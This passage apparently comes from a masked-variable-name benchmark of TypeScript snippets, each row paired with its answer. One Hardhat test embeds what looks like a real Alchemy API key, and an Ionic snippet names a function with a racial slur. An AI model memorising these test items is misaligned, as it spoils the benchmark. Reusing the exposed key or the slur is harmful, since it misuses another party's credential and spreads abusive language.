            case '\n':
                strXml = strXml.substring(0, i) + '\\n' + strXml.substring(i + 1);
                break;
            case '\v':
                strXml = strXml.substring(0, i) + '\\v' + strXml.substring(i + 1);
                break;
            case '\t':
                strXml = strXml.substring(0, i) + '\\t' + strXml.substring(i + 1);
                break;
            default:
                break;
        }
    }
    return strXml;
}

export default {
    ConvertXML : ConvertXML
}",converted
76,"/*
 *  Copyright 2023 Collate.
 *  Licensed under the Apache License, Version 2.0 (the ""License"");
 *  you may not use this file except in compliance with the License.
 *  You may obtain a copy of the License at
 *  http://www.apache.org/licenses/LICENSE-2.0
 *  Unless required by applicable law or agreed to in writing, software
 *  distributed under the License is distributed on an ""AS IS"" BASIS,
 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *  See the License for the specific language governing permissions and
 *  limitations under the License.
 */
import { mergeAttributes, Node, nodeInputRule } from '@tiptap/core';
import { ReactNodeViewRenderer } from '@tiptap/react';
import { IMAGE_INPUT_REGEX } from '../../../../constants/BlockEditor.constants';
import ImageComponent from './component';

export interface ImageOptions {
  inline: boolean;
  allowBase64: boolean;
  HTMLAttributes: Record<string, unknown>;
}

declare module '@tiptap/core' {
  interface Commands<ReturnType> {
    image: {
      /**
       * Add an image
       */
      setImage: (options: {
        src: string;
        alt?: string;
        title?: string;
      }) => ReturnType;
    };
  }
}

export const Image = Node.create<ImageOptions>({
  name: 'image',
  selectable: false,
  draggable: true,

  addOptions() {
    return {
      inline: false,
      allowBase64: false,
      HTMLAttributes: {},
    };
  },

  inline() {
    return this.options.inline;
  },

  group() {
    return this.options.inline ? 'inline' : 'block';
  },

  addAttributes() {
    return {
      src: {
        default: null,
        parseHTML: (element) => element.getAttribute('src')?.toString(),
        renderHTML: (attributes) => {
          if (!attributes.src) {
            return {};
          }

          return {
            src: attributes.src,
          };
        },
      },
      alt: {
        default: null,
        parseHTML: (element) => element.getAttribute('alt')?.toString(),
        renderHTML: (attributes) => {
          if (!attributes.alt) {
            return {};
          }

          return {
            alt: attributes.alt,
          };
        },
      },
      title: {
        default: null,
        parseHTML: (element) => element.getAttribute('title')?.toString(),
        renderHTML: (attributes) => {
          if (!attributes.title) {
            return {};
          }

          return {
            title: attributes.title,
          };
        },
      },
    };
  },

  parseHTML() {
    return [
      {
        tag: this.options.allowBase64
          ? 'img[src]'
          : 'img[src]:not([src^=""data:""])',
      },
    ];
  },

  renderHTML({ HTMLAttributes }) {
    return [
      'img',
      mergeAttributes(this.options.HTMLAttributes, HTMLAttributes),
    ];
  },

  addNodeView() {
    return ReactNodeViewRenderer(ImageComponent);
  },

  addCommands() {
    return {
      setImage:
        (options) =>
        ({ commands }) => {
          return commands.insertContent({
            type: this.name,
            attrs: options,
          });
        },
    };
  },

  addInputRules() {
    return [
      nodeInputRule({
        find: IMAGE_INPUT_REGEX,
        type: this.type,
        getAttributes: ( [MASK] ) => {
          const [, , alt, src, title] =  [MASK] ;

          return { src, alt, title };
        },
      }),
    ];
  },
});
",match
77,"import React from ""react"";
import {createGestureRecognizer} from ""./GestureService.ts"";
import {GestureRecognizer} from ""@mediapipe/tasks-vision"";

type Context = CanvasRenderingContext2D;

interface BoardState {
    ctx: Context;
    stream: MediaStream;
    video: HTMLVideoElement;
    board: HTMLCanvasElement;
    lastVideoTime: number;
}

function validBoardState(ctx: Context | null, stream: MediaStream | null, video: HTMLVideoElement | null, board: HTMLCanvasElement | null): boolean {
    const validCtx = ctx !== null;
    const validStream = stream !== null;
    const validVideo = video !== null;
    const validBoard = board !== null;
    if (!validCtx) {
        console.error('Context in board state is null');
    }
    if (!validStream) {
        console.error('Stream in board state is null');
    }
    if (!validVideo) {
        console.error('Video in board state is null');
    }
    if (!validBoard) {
        console.error('Board in board state is null');
    }
    return validCtx && validStream && validVideo && validBoard;
}

// initialize the media stream and the whiteboard returning the state
export async function initBoardState( [MASK] : React.RefObject<HTMLVideoElement>, boardRef: React.RefObject<HTMLCanvasElement>, width: number, height: number): Promise<BoardState> {
    const video: HTMLVideoElement | null =  [MASK] .current;
    const board: HTMLCanvasElement | null = boardRef.current;
    let ctx: Context | null = null;
    let stream: MediaStream | null = null;
    if (video && board) {
        stream = await initMedia(video);
        ctx = initBoard(board, width, height);
    } else {
        return Promise.reject('Invalid video or board element');
    }
    return new Promise((resolve, reject) => {
        if (validBoardState(ctx, stream, video, board)) {
            resolve({
               ctx: ctx as Context,
                stream: stream as MediaStream,
                video: video as HTMLVideoElement,
                board: board as HTMLCanvasElement,
                lastVideoTime: -1
            });
        } else {
            reject('Invalid board state');
        }
    });
}


// get user permissions to access camera
// set the video element to the stream
async function initMedia(video: HTMLVideoElement): Promise<MediaStream | null> {
    const constraints: MediaStreamConstraints = {
        video: true,
        audio: false
    }
    const stream = await navigator.mediaDevices.getUserMedia(constraints);
    video.srcObject = stream;
    return stream;
}


// initialize the whiteboard
function initBoard(board: HTMLCanvasElement, width: number, height: number): Context | null {
    const ctx = board.getContext('2d');
    if (ctx) {
        board.width = width;
        board.height = height;
        ctx.fillStyle = 'white';
        ctx.fillRect(0, 0, width, height);
        return ctx;
    } else {
        return null;
    }
}



export async function main(boardState: BoardState): Promise<void> {
    const gestureRecognizer = await createGestureRecognizer();
    setInterval(() => {
        loop(boardState, gestureRecognizer);
    }, 100);
}

async function loop(boardState: BoardState, gestureRecognizer: GestureRecognizer): Promise<void> {
    let results = null;
    if (boardState.video.currentTime !== boardState.lastVideoTime) {
        boardState.lastVideoTime = boardState.video.currentTime;
        // get time in ms
        const nowMS: number = Date.now();
        // get the results from the gesture recognizer
        results = gestureRecognizer.recognizeForVideo(boardState.video, nowMS);
    }
    if (results) {
        console.log(results);
    } else {
        console.log('No results');
    }
}",videoRef
78,"import { ethers } from ""hardhat"";
import { Signer } from ""ethers"";
import { getStorageAt, getProof, getBlockByNumber, getBlockHashByNumber, BlockHash } from ""../../library/source/demo"";
import * as OracleSdk from '@keydonix/uniswap-oracle-sdk';

describe(""Token"", function () {
  let accounts: Signer[];

  beforeEach(async function () {
    accounts = await ethers.getSigners();
  });

  it(""should do something right"", async function () {
    // Do something with the accounts
    const SushiOracle = await ethers.getContractFactory(""SushiOracle"");
    const sushiOracle = await SushiOracle.deploy();

    await sushiOracle.deployed();

    const JSON_RPC = 'https://eth-mainnet.alchemyapi.io/v2/akJ4Iz9CBxJ6HduDFaNUwwg1igCzQmDk'
    const provider = new ethers.providers.JsonRpcProvider(JSON_RPC)

    const address = BigInt(""0xbb2b8038a1640196fbe3e38816f3e67cba72d940"")
    const token0 = BigInt(""0x<KEY>"")
    const  [MASK]  = BigInt(""12680299"")
    const proof = await OracleSdk.getProof(getStorageAt, getProof, getBlockByNumber, address, token0,  [MASK] )
    const block = await getBlockHashByNumber( [MASK] )
    
    // const result = await sushiOracle.getPriceRaw(ethers.utils.hexValue(address), true, proof, ethers.utils.hexValue(block.hash))
    const result = await sushiOracle.prepareAccountDetailsBytes(ethers.utils.hexValue(address), proof, ethers.utils.hexValue(block.hash))
    console.log(result)
  });
});
",blockNumber
79,"// Air quality dashboard

import * as VIAM from ""@viamrobotics/sdk"";
import { BSON } from ""bson"";

async function main() {
  const opts: VIAM.ViamClientOptions = {
    credential: {
      type: ""api-key"",
      // Key with location operator permissions
      // Replace <API-KEY> (including angle brackets)
      payload: ""<API-KEY>"",
      // Replace <API-KEY-ID> (including angle brackets)
      authEntity: ""<API-KEY-ID>"",
    },
  };

  const orgID: string = ""<ORGANIZATION ID>""; // Replace
  const locationID: string = ""<LOCATION ID>""; // Replace

  // Instantiate data_client and get all
  // data tagged with ""air-quality"" from your location
  const client = await VIAM.createViamClient(opts);
  const  [MASK]  = client.dataClient;
  const query = {
    $match: {
      tags: ""air-quality"",
      location_id: locationID,
      organization_id: orgID,
    },
  };
  const match = { $group: { _id: ""$robot_id"" } };
  // Get a list of all the IDs of machines that have collected air quality data
  const BSONQueryForMachineIDList = [
    BSON.serialize(query),
    BSON.serialize(match),
  ];
  let machineIDs: any = await  [MASK] ?.tabularDataByMQL(
    orgID,
    BSONQueryForMachineIDList,
  );
  // Get all the air quality data
  const BSONQueryForData = [BSON.serialize(query)];
  let thedata: any = await  [MASK] ?.tabularDataByMQL(
    orgID,
    BSONQueryForData,
  );

  // Instantiate the HTML block that will be returned
  // once everything is appended to it
  let htmlblock: HTMLElement = document.createElement(""div"");

  // Display the relevant data from each machine to the dashboard
  for (const mach of machineIDs) {
    let insideDiv: HTMLElement = document.createElement(""div"");
    let avgPM: number = await getLastFewAv(thedata, mach._id);
    // Color-code the dashboard based on air quality category
    let level: string = ""blue"";
    switch (true) {
      case avgPM < 12.1: {
        level = ""good"";
        break;
      }
      case avgPM < 35.5: {
        level = ""moderate"";
        break;
      }
      case avgPM < 55.5: {
        level = ""unhealthy-sensitive"";
        break;
      }
      case avgPM < 150.5: {
        level = ""unhealthy"";
        break;
      }
      case avgPM < 250.5: {
        level = ""very-unhealthy"";
        break;
      }
      case avgPM >= 250.5: {
        level = ""hazardous"";
        break;
      }
    }
    // Create the HTML output for this machine
    insideDiv.className = ""inner-div "" + level;
    insideDiv.innerHTML =
      ""<p>"" +
      mach._id +
      "": "" +
      avgPM.toFixed(2).toString() +
      "" &mu;g/m<sup>3</sup></p>"";
    htmlblock.appendChild(insideDiv);
  }

  // Output a block of HTML with color-coded boxes for each machine
  return document.getElementById(""insert-readings"").replaceWith(htmlblock);
}

// Get the average of the last five readings from a given sensor
async function getLastFewAv(alltheData: any[], machineID: string) {
  // Get just the data from this machine
  let thedata = new Array();
  for (const entry of alltheData) {
    if (entry.robot_id == machineID) {
      thedata.push({
        PM25: entry.data.readings[""pm_2.5""],
        time: entry.time_received,
      });
    }
  }

  // Sort the air quality data from this machine
  // by timestamp
  thedata = thedata.sort(function (a, b) {
    let x = a.time.toString();
    let y = b.time.toString();
    if (x < y) {
      return -1;
    }
    if (x > y) {
      return 1;
    }
    return 0;
  });

  // Add up the last 5 readings collected.
  // If there are fewer than 5 readings, add all of them.
  let x = 5; // The number of readings to average over
  if (x > thedata.length) {
    x = thedata.length;
  }
  let total = 0;
  for (let i = 1; i <= x; i++) {
    const reading: number = thedata[thedata.length - i].PM25;
    total += reading;
  }
  // Return the average of the last few readings
  return total / x;
}

main().catch((error) => {
  console.error(""encountered an error:"", error);
});
",myDataClient
80,"import * as forge from ""node-forge"";
import * as fs from ""node:fs"";


export default class SelfSigned {
    public static setupSelfSigned(sslMode = ""./"") {

        const certPath = ""./generated-cert-1"";

        if(fs.existsSync(certPath)) {
            return JSON.parse(fs.readFileSync(certPath, { encoding: ""utf8"", flag: ""r"" }));
        }

        let key;
        let cert;

        const pki = forge.default.pki;

        // generate a key pair or use one you have already
        const  [MASK]  = pki.rsa.generateKeyPair(2048);

        // create a new certificate
        const crt = pki.createCertificate();

        // fill the required fields
        crt.publicKey =  [MASK] .publicKey;
        crt.serialNumber = '01';
        crt.validity.notBefore = new Date();
        crt.validity.notAfter = new Date();
        crt.validity.notAfter.setFullYear(crt.validity.notBefore.getFullYear() + 40);

        // use your own attributes here, or supply a csr (check the docs)
        const attrs = [
            {
                name: 'commonName',
                value: 'dev.socialmail.in'
            }, {
                name: 'countryName',
                value: 'IN'
            }, {
                shortName: 'ST',
                value: 'Maharashtra'
            }, {
                name: 'localityName',
                value: 'Navi Mumbai'
            }, {
                name: 'organizationName',
                value: 'NeuroSpeech Technologies Pvt Ltd'
            }, {
                shortName: 'OU',
                value: 'Test'
            }
        ];

        // here we set subject and issuer as the same one
        crt.setSubject(attrs);
        crt.setIssuer(attrs);

        // the actual certificate signing
        crt.sign( [MASK] .privateKey);

        // now convert the Forge certificate to PEM format
        cert = pki.certificateToPem(crt);
        key = pki.privateKeyToPem( [MASK] .privateKey);

        const json = { key, cert };
        fs.writeFileSync(certPath, JSON.stringify(json), ""utf8"");
        return json;
    }
}",keys
81,"import { DynamoDBClientConfig } from '@aws-sdk/client-dynamodb';
import { APIGatewayEvent, APIGatewayProxyHandler, Context } from 'aws-lambda';
import 'source-map-support/register.js'
import { deleteAlarm } from '@shared/core/usecase/alarm-service.mjs';
import { ArgumentError } from '@shared/core/entity/argument-error.mjs';
import { DynamoDBAlarmRepository } from '@shared/core/infra/dynamodb-alarm-repository.mjs';

type RequestBody= {
    device_token: string;
}
export const handler: APIGatewayProxyHandler = async ( [MASK] : APIGatewayEvent, _context: Context) => {
    try {
        const dynamoDBConfig: DynamoDBClientConfig = {
            region: 'ap-northeast-1'
        };
        const alarmRepository = new DynamoDBAlarmRepository(dynamoDBConfig, process.env.ALARM_TABLE_NAME!);
        const params =  [MASK] .body ? JSON.parse( [MASK] .body) : {};
        const { device_token }: RequestBody = params;

        await deleteAlarm(
            alarmRepository,
            device_token
        );
        return {
            statusCode: 200,
            body: JSON.stringify({
                message: 'アラームを更新しました。'
            }),
        };
    } catch (error: any) {
        if(error instanceof ArgumentError) {
            return {
                statusCode: 400,
                body: JSON.stringify({
                    message: 'アラームの更新に失敗しました。',
                    error: error.message || '不明なエラーが発生しました',
                }),
            };
        }
        return {
            statusCode: 500,
            body: JSON.stringify({
                message: 'アラームの更新に失敗しました。',
                error: error.message || '不明なエラーが発生しました',
            }),
        };
    }
};",event
82,"import { ROLES } from ""src/components/RoleSelect"";
import { withAnyRole } from ""src/lib/auth"";
import { createApiClient } from ""src/lib/oasst_client_factory"";
import prisma from ""src/lib/prismadb"";

/**
 * Update's the user's data in the database.  Accessible only to admins.
 */
const handler = withAnyRole([""admin"", ""moderator""], async (req, res, token) => {
  const { id, user_id, notes, role, show_on_leaderboard } = req.body;
  // mod can't update user role to mod or admin
  if (token.role === ROLES.MODERATOR && (role === ROLES.MODERATOR || role === ROLES.ADMIN)) {
    return res.status(403).json({});
  }
  const  [MASK]  = await createApiClient(token);
  await prisma.user.update({
    where: { id },
    data: { role },
  });

  // Tell the backend the user's enabled or not enabled status.
  await  [MASK] .set_user_status(user_id, role !== ""banned"", notes, show_on_leaderboard);

  res.status(200).json({});
});

export default handler;
",oasstApiClient
83,"interface HtmlClassChangerOptions {
  baseClass: string,
  list: { selector: string, class: string }[]
}

export class HtmlClassChanger {

  private html: HTMLElement;

  constructor(private readonly config: HtmlClassChangerOptions) {
    this.html = document.querySelector('html');
    this.setUp();
  }

  private setUp() {
    this.config.list.forEach((conf, index: number) => {
      new Waypoint({
        element: document.querySelector(conf.selector),
        offset: 200,
        handler: ( [MASK] : string) => {
          if ( [MASK]  == 'up') {
            this.html.classList.remove(conf.class);

            const prevClass = this.getPreviousClass(index);
            if (prevClass) {
              this.html.classList.add(prevClass);
            }
          } else {
            const prevClass = this.getPreviousClass(index);
            if (prevClass) {
              this.html.classList.remove(prevClass);
            }
            this.html.classList.add(conf.class);
          }
        }
      });
    });
  }

  private getPreviousClass(from: number) {
    if (from == 0) {
      return this.config.baseClass;
    } else {
      return this.config.list[from - 1].class;
    }
  }

}
",dir
84,"import { NavController, NavParams, Platform } from 'ionic-angular';
import {Component} from '@angular/core';
import { HomePage } from '../home/home';
@Component({
    selector: 'page-currency',
    templateUrl: 'currency.html',

})

export class CurrencyPage{
    tileWidth: number = 50;


   
    
    constructor(public nc:NavController, public np:NavParams, public  [MASK] : Platform){
        // elkéred a width-et, kiszámolod egy rész szélességét
        var w= [MASK] .width();

        this.tileWidth = this.calculateDaTileSizeMahNigga(w);
    }

    dollar(){
        this.nc.push(HomePage,{id: '?base=USD'});
    }
    euro(){
        this.nc.push(HomePage,{id: '?base=EUR'});
    }
    rubel(){
        this.nc.push(HomePage,{id: '?base=RUB'});
    }
    yen(){
        this.nc.push(HomePage,{id: '?base=JPY'});
    }
    forint(){
        this.nc.push(HomePage,{id: '?base=HUF'});
    } 
    pound(){
        this.nc.push(HomePage,{id: '?base=GBP'});
    }


    calculateDaTileSizeMahNigga(w) : number{
        let thisDaResult_Yo = ((w-32)/2)-23.5;
        console.log(thisDaResult_Yo);
        return thisDaResult_Yo;
    }
}",platform
85,"import { createAsyncThunk, createSlice } from ""@reduxjs/toolkit"";
import { deleteUserDataService } from ""../../services/login"";

import errorHandler from ""../../utils/error-handler"";

interface IDeleteUserState {
  isDeleted?: boolean;
  loading: boolean;
  error?: any;
}

const initialState: IDeleteUserState = {
  isDeleted: false,
  loading: false,
  error: undefined,
};

export const deleteUser = createAsyncThunk(
  ""User/deleteUser"",
  async ( [MASK] :string) => {
    try {
      const response = await deleteUserDataService( [MASK] );
      return response.data;
    } catch (_error: any) {
      const errorMessage = errorHandler(_error);
      throw new Error(errorMessage);
    }
  }
);

const slice = createSlice({
  name: ""deleteUser"",
  initialState,
  reducers: {
    
  },
  extraReducers(builder): void {
    builder.addCase(deleteUser.pending, (state) => {
      state.loading = true;
      state.isDeleted = false;
      state.error = undefined;
    });
    builder.addCase(deleteUser.fulfilled, (state) => {
      state.loading = false;
      state.isDeleted = true;
    });
    builder.addCase(deleteUser.rejected, (state, action: any) => {
      state.loading = false;
      state.isDeleted = false;
      const errorMessage = JSON.parse(action.error.message);
      state.error = errorMessage;
    });
  },
});

export default slice.reducer;
",userName
86,"import * as oa from ""./openApi""
import * as oaPlus from ""./openApiPlus""
import * as sm from ""@ts-common/string-map""
import * as _ from ""@ts-common/iterator""
import * as ps from ""@ts-common/property-set""
import { Json, stringify } from ""@ts-common/json""

type OptionalProperties<T> = {
    readonly [K in keyof T]+?: T[K]
}

function isJsonReference<T>(v: oa.JsonReference|T): v is oa.JsonReference {
    const o: OptionalProperties<oa.JsonReference> = v
    return o.$ref !== undefined
}

/**
 * Returns an enum of the given parameter.
 * @param parameter an OpenAPI parameter
 *
 * TODO: the given parameter can have a `$ref` or a `schema`. The `schema` may have a `$ref` as well.
 */
function getParameterEnum(parameter: oa.Parameter): ReadonlyArray<Json>|undefined {
    if (parameter.in === ""body"") {
        // TODO: we may need to get it from `schema`.
        return undefined
    }
    // TODO: we may need to get it from `schema` as well.
    return parameter.enum
}

interface Context {
    readonly source: oaPlus.Main
    readonly discriminatorName?: string
    readonly discriminatorValue?: string
}

interface Tracked<T> {
    readonly value: T
    readonly name: string
}

function tracked<K extends keyof oaPlus.Main>(source: oaPlus.Main, k: K): Tracked<oaPlus.Main[K]> {
    return { value: source[k], name: k }
}

function resolve<T>(
    t: Tracked<sm.StringMap<T|undefined>|undefined>,
    ref: oa.JsonReference
): T|undefined {
    const value = t.value
    if (value === undefined) {
        // error
        return undefined
    }
    const split = ref.$ref.split(""/"")
    // tslint:disable-next-line:no-magic-numbers
    if (split.length !== 3) {
        // error
        return undefined
    }
    if (split[0] !== ""#"") {
        // error
        return undefined
    }
    if (split[1] !== t.name) {
        // error
        return undefined
    }
    // tslint:disable-next-line:no-magic-numbers
    return value[split[2]]
}

function getDiscriminatorParameter(discriminatorValue: string, parameter: oa.Parameter) {
    if (parameter.in === ""body"") {
        // TODO: should we fix schema to support `enum`?
        return parameter
    } else {
        return ps.copyCreate(parameter, { enum: () => [discriminatorValue] })
    }
}

type ParameterArray = ReadonlyArray<oa.Parameter|oa.JsonReference>|undefined

type Optional<T> = {
    readonly value: T
}|undefined

function optional<T>(value: T): Optional<T> {
    return { value }
}

function getOptionalParameter(
    { discriminatorName, discriminatorValue }: Context,
    parameter: oa.Parameter
): oa.Parameter|undefined {
    const pName = parameter.name
    if (discriminatorValue !== undefined && pName === discriminatorName) {
        const pEnum = getParameterEnum(parameter)
        if (pEnum !== undefined) {
            if (_.find(pEnum, v => v === discriminatorValue) === undefined) {
                // the operation is not compatible with the given discriminator value.
                return undefined
            }
            return getDiscriminatorParameter(discriminatorValue, parameter)
        }
        // the discriminator parameter is not an enumeration
        // TODO: we may have an error/warning in this case
        // TODO: narrow the parameter
    }
    return parameter
}

type ParameterOrRef = oa.Parameter|oa.JsonReference

function getOptionalParameterOrRef(
    discriminator: Context, parameter: ParameterOrRef
): ParameterOrRef|undefined {
    if (isJsonReference(parameter)) {
        const t = tracked(discriminator.source, ""parameters"")
        const p = resolve(t, parameter)
        if (p === undefined) {
            // can't resolve the parameter.
            return undefined
        }
        const op = getOptionalParameter(discriminator, p)
        // TODO: extract parameter from reference. We need to return `undefined` only if the
        // referenced parameter has no possible values
        return op === undefined ? undefined : parameter
    }
    return getOptionalParameter(discriminator, parameter)
}

// Parameter Objects
// See also https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md
function getOptionalParameters(
    discriminator: Context, parameters: ParameterArray
): Optional<ParameterArray> {

    if (parameters === undefined) {
        // no parameters
        return optional(parameters)
    }

    const result: ParameterOrRef[] = []
    for (const p of parameters) {
        const op = getOptionalParameterOrRef(discriminator, p)
        if (op === undefined) {
            return undefined
        }
        result.push(op)
    }

    return optional(result)
}

function getOperation(
    discriminator: Context, operation: oa.Operation
): oa.Operation|undefined {

    const optionalParameters = getOptionalParameters(discriminator, operation.parameters)

    if (optionalParameters === undefined) {
        return undefined
    }

    const copy = ps.copyProperty(operation)
    return ps.create<oa.Operation>({
        tags: copy,
        summary: copy,
        description: copy,
        externalDocs: copy,
        operationId: copy,
        produces: copy,
        consumes: copy,
        parameters: () => optionalParameters.value,
        responses: copy,
        schemes: copy,
        deprecated: copy,
        security: copy
    })
}

function convertOperations(
    discriminator: Context,
    operations: oaPlus.Operations,
): oa.Operation|undefined {
    const operationArray = _.isArray(operations) ? operations : [operations]
    const result = _.toArray(_.filterMap(operationArray, o => getOperation(discriminator, o)))
    // TODO: if result.length > 1 then we have more than one operation for the given discriminator
    // value.
    return result.length === 0 ? undefined : result[0]
}

type Method = ""get""|""put""|""post""|""delete""|""options""|""head""|""patch""

function convertPathItem(
    discriminator: Context,
    pathItem: oaPlus.PathItem
): oa.PathItem|undefined {
    const parameters = getOptionalParameters(discriminator, pathItem.parameters)
    if (parameters === undefined) {
        return undefined
    }
    // TODO: resolve `pathItem.$ref`.
    const operationFactory = (key: Method) => {
        const operations = pathItem[key]
        return operations === undefined ? undefined : convertOperations(discriminator, operations)
    }
    const copy = ps.copyProperty(pathItem)
    return ps.create<oa.PathItem>({
        $ref: copy,
        get: operationFactory,
        put: operationFactory,
        post: operationFactory,
        delete: operationFactory,
        options: operationFactory,
        head: operationFactory,
        patch: operationFactory,
        parameters: () => parameters.value
    })
}

function convertPath(discriminator: Context, paths: oaPlus.Paths): oa.Paths {
    const entries = sm.entries(paths)
    const result = _.map(
        entries,
        ([path, pathItem]) => sm.entry(path, convertPathItem(discriminator, pathItem)))
    return sm.stringMap(result)
}

function convertParameterDefinitions(
    discriminator: Context, source: oa.ParameterDefinitions|undefined
): oa.ParameterDefinitions|undefined {
    if (source === undefined) {
        return undefined
    }
    const entries = sm.entries(source)
    const result = _.filterMap(entries, ([name, def]) => {
        const defResult = getOptionalParameter(discriminator, def)
        return defResult === undefined ? undefined : sm.entry(name, defResult)
    })
    return sm.stringMap(result)
}

function convertOpenApi(context: Context): oa.Main {
    const source = context.source
    const copy = ps.copyProperty(source)
    return ps.create<oa.Main>({
        swagger: () => ""2.0"",
        info: copy,
        host: copy,
        basePath: copy,
        schemes: copy,
        consumes: copy,
        produces: copy,
        paths: () => convertPath(context, source.paths),
        definitions: copy,
        parameters: () => convertParameterDefinitions(context, source.parameters),
        responses: copy,
        security: copy,
        securityDefinitions: copy,
        tags: copy,
        externalDocs: copy
    })
}

export function mergeEnum(
    a: ReadonlyArray<Json>, b: ReadonlyArray<Json>
): ReadonlyArray<Json> {
    const c = _.concat(a, b)
    const f = _.map(c, v => sm.entry(stringify(v), true))
    const m = sm.stringMap(f)
    const result = _.map(sm.entries(m), ([n]) => n)
    return _.toArray(result)
}

export function convert(source: oaPlus.Main, discriminator: string): sm.StringMap<oa.Main> {
    const parameters = source.parameters
    if (parameters === undefined) {
        return { default: convertOpenApi({ source }) }
    }
    const discriminatorParameters = _.filter(sm.values(parameters), p => p.name === discriminator)
    const  [MASK]  = _.filterMap(discriminatorParameters, getParameterEnum)
    const discriminatorEnum = _.reduce( [MASK] , mergeEnum)
    if (discriminatorEnum === undefined) {
        return { default: convertOpenApi({ source }) }
    } else {
        const entries = _.map(
            discriminatorEnum,
            value => sm.entry(
                stringify(value),
                convertOpenApi({
                    source,
                    discriminatorName: discriminator,
                    discriminatorValue: stringify(value)
                })
            )
        )
        return sm.stringMap(entries)
    }
}
",discriminatorEnums
87,"/* Licensed to the Apache Software Foundation (ASF) under one or more
 * contributor license agreements.  See the NOTICE file distributed with
 * this work for additional information regarding copyright ownership.
 * The ASF licenses this file to you under the Apache License, Version 2.0
 * (the ""License""); you may not use this file except in compliance with
 * the License.  You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

import { expect } from 'chai';
import { describe, it } from 'mocha';
import {Lang} from ""../../main/typescript/Lang"";
import equalsIgnoreCase = Lang.equalsIgnoreCase;
import assertType = Lang.assertType;
import isFunc = Lang.isFunc;
import isString = Lang.isString;
import trim = Lang.trim;
import strToArray = Lang.strToArray;
import objToArray = Lang.objToArray;


const jsdom = require(""jsdom"");
const { JSDOM } = jsdom;
const dom = new JSDOM(`
    <!DOCTYPE html>
<html lang=""en"">
<head>
    <meta charset=""UTF-8"">
    <title>Title</title>
    </head>
    <body>
        <div />
        <div />
        <div />
        <div />
    </body>
    </html>
    
    `)




export const window = dom.window;

class Probe {

    constructor() {
    }

    val1 = 1;
    val2 = 2;
    val3 = 3;
}

describe('Lang tests', () => {


    it('initializable', () => {
        const lang = Lang;
        expect(lang).to.exist;
    });

    it('strToArray working', () => {
        const lang = Lang;

        let arr = strToArray(""hello.world.from.me"", /\./gi);

        expect(arr).to.exist;
        expect(arr.length).to.eq(4);
        expect(arr[3]).to.eq(""me"");

    });



    it('trim working', () => {
        const lang = Lang;
        let origStr = "" hello world from me    "";
        let trimmed = trim(origStr);
        expect(trimmed).to.exist;
        expect(trimmed).to.eq(""hello world from me"");

    });

    it('isString working', () => {
        const lang = Lang;
        expect(isString("" "")).to.be.true;
        expect(isString('')).to.be.true;
        expect(isString(null)).to.be.false;
        expect(isString(undefined)).to.be.false;
        expect(isString(function() {return true;})).to.be.false;
        expect(isString(new Probe())).to.be.false;
    });

    it('isFunc working', () => {
        const lang = Lang;
        expect(isFunc(() => {})).to.be.true;
        expect(isFunc(function() {return true;})).to.be.true;
        expect(isFunc(""blarg"")).to.be.false;
        expect(isFunc(new Probe())).to.be.false;
    });

    it('objToArray working', () => {
        const lang = Lang;
        let  [MASK]  = new Probe();
        let resultArr = objToArray( [MASK] );
        expect(assertType(resultArr, Array)).to.be.true;
        expect(resultArr.length).to.eq(0);
         [MASK]  = window.document.body.querySelectorAll(""div"");
        resultArr = objToArray( [MASK] );
        expect(resultArr.length).to.eq(4);
        expect(assertType(resultArr, Array)).to.be.true;
    });



    it('equals ignore case test', () => {
        const lang = Lang;
        expect(equalsIgnoreCase(null, null)).to.be.true;
        expect(equalsIgnoreCase("""", """")).to.be.true;
        expect(equalsIgnoreCase(""null"", ""NuLL"")).to.be.true;
        expect(equalsIgnoreCase(""null "", ""NuLL"")).to.be.false;
        expect(equalsIgnoreCase(""null"", ""NuLL2"")).to.be.false;

    });

});

",obj_probe
88,"import BaseController from ""./BaseController"";
import {Route$PatternMatchedEvent} from ""sap/ui/core/routing/Route"";
import JSONModel from ""sap/ui/model/json/JSONModel"";
import Popover from ""sap/m/Popover"";
import Fragment from ""sap/ui/core/Fragment"";
import Input from ""sap/m/Input"";
import {Button$PressEvent} from ""sap/m/Button"";
import {Constants} from ""com/dhrubajyoti2006/openaiassistant/utils/Constants"";

interface OpenAIToolCall {
	id: string,
	type: string,
	function: {
		name: string,
		arguments: string
	}
}

/**
 * @namespace com.dhrubajyoti2006.openaiassistant.controller
 */
export default class Detail extends BaseController {

	assistant_id: string;
	assistant: Object;
	run_id: string;
	_oPopover: Popover;
	currentRunStatus: string;

	public onInit(): void {
		this.getRouter().getRoute(""detail"")
			.attachPatternMatched((evt: Route$PatternMatchedEvent) => this._onRouteMatched(evt), this);

		this.setModel(new JSONModel({
			""mainModel"": [],
		}), ""mainModel"");
	}

	private getMainModel() {
		return this.getModel(""mainModel"") as JSONModel;
	}

	private setThreadId(thread_id: string) {
		(this.getModel(""mainModel"") as JSONModel).setProperty(""/thread_id"", thread_id);
	}

	private getThreadId(): string {
		return (this.getModel(""mainModel"") as JSONModel).getProperty(""/thread_id"");
	}

	public _onRouteMatched(oEvent: Route$PatternMatchedEvent) {
		const  [MASK]  = oEvent.getParameter(""arguments"");
		this.assistant_id =  [MASK] [""assistant_id""];

		// ToDo: This will later be implemented with promise.all()
		this.getAssistant(this.assistant_id);
		this.fileList();
	}

	private updateFileListForAssistant() {
		if (this.assistant && this.assistant.file_ids && this.assistant.file_ids.length
			&& (this.getModel(""mainModel"") as JSONModel).getProperty(""/allFilesList"")
			&& (this.getModel(""mainModel"") as JSONModel).getProperty(""/allFilesList"").length) {
			const allFiles = (this.getModel(""mainModel"") as JSONModel).getProperty(""/allFilesList"");
			let files = allFiles.filter((item) => {
				return this.assistant.file_ids.includes(item.id);
			});
			(this.getModel(""mainModel"") as JSONModel).setProperty(""/files"", files);
		}
	}

	public getAssistant(assistant_id: string): void {
		fetch(`${Constants.apiUrl}/getAssistant/${assistant_id}`)
			.then(response => response.text())
			.then(data => {
				this.assistant = JSON.parse(data);
				this.updateFileListForAssistant()
			})
			.catch(error => {
				console.error(""Error fetching data:"", error);
				// Handle any errors here
			});
	}

	public onPressAddButton() {
		fetch(Constants.apiUrl + ""/createThread"")
			.then(response => response.text())
			.then(data => {
				this.setThreadId(JSON.parse(data).id);
			})
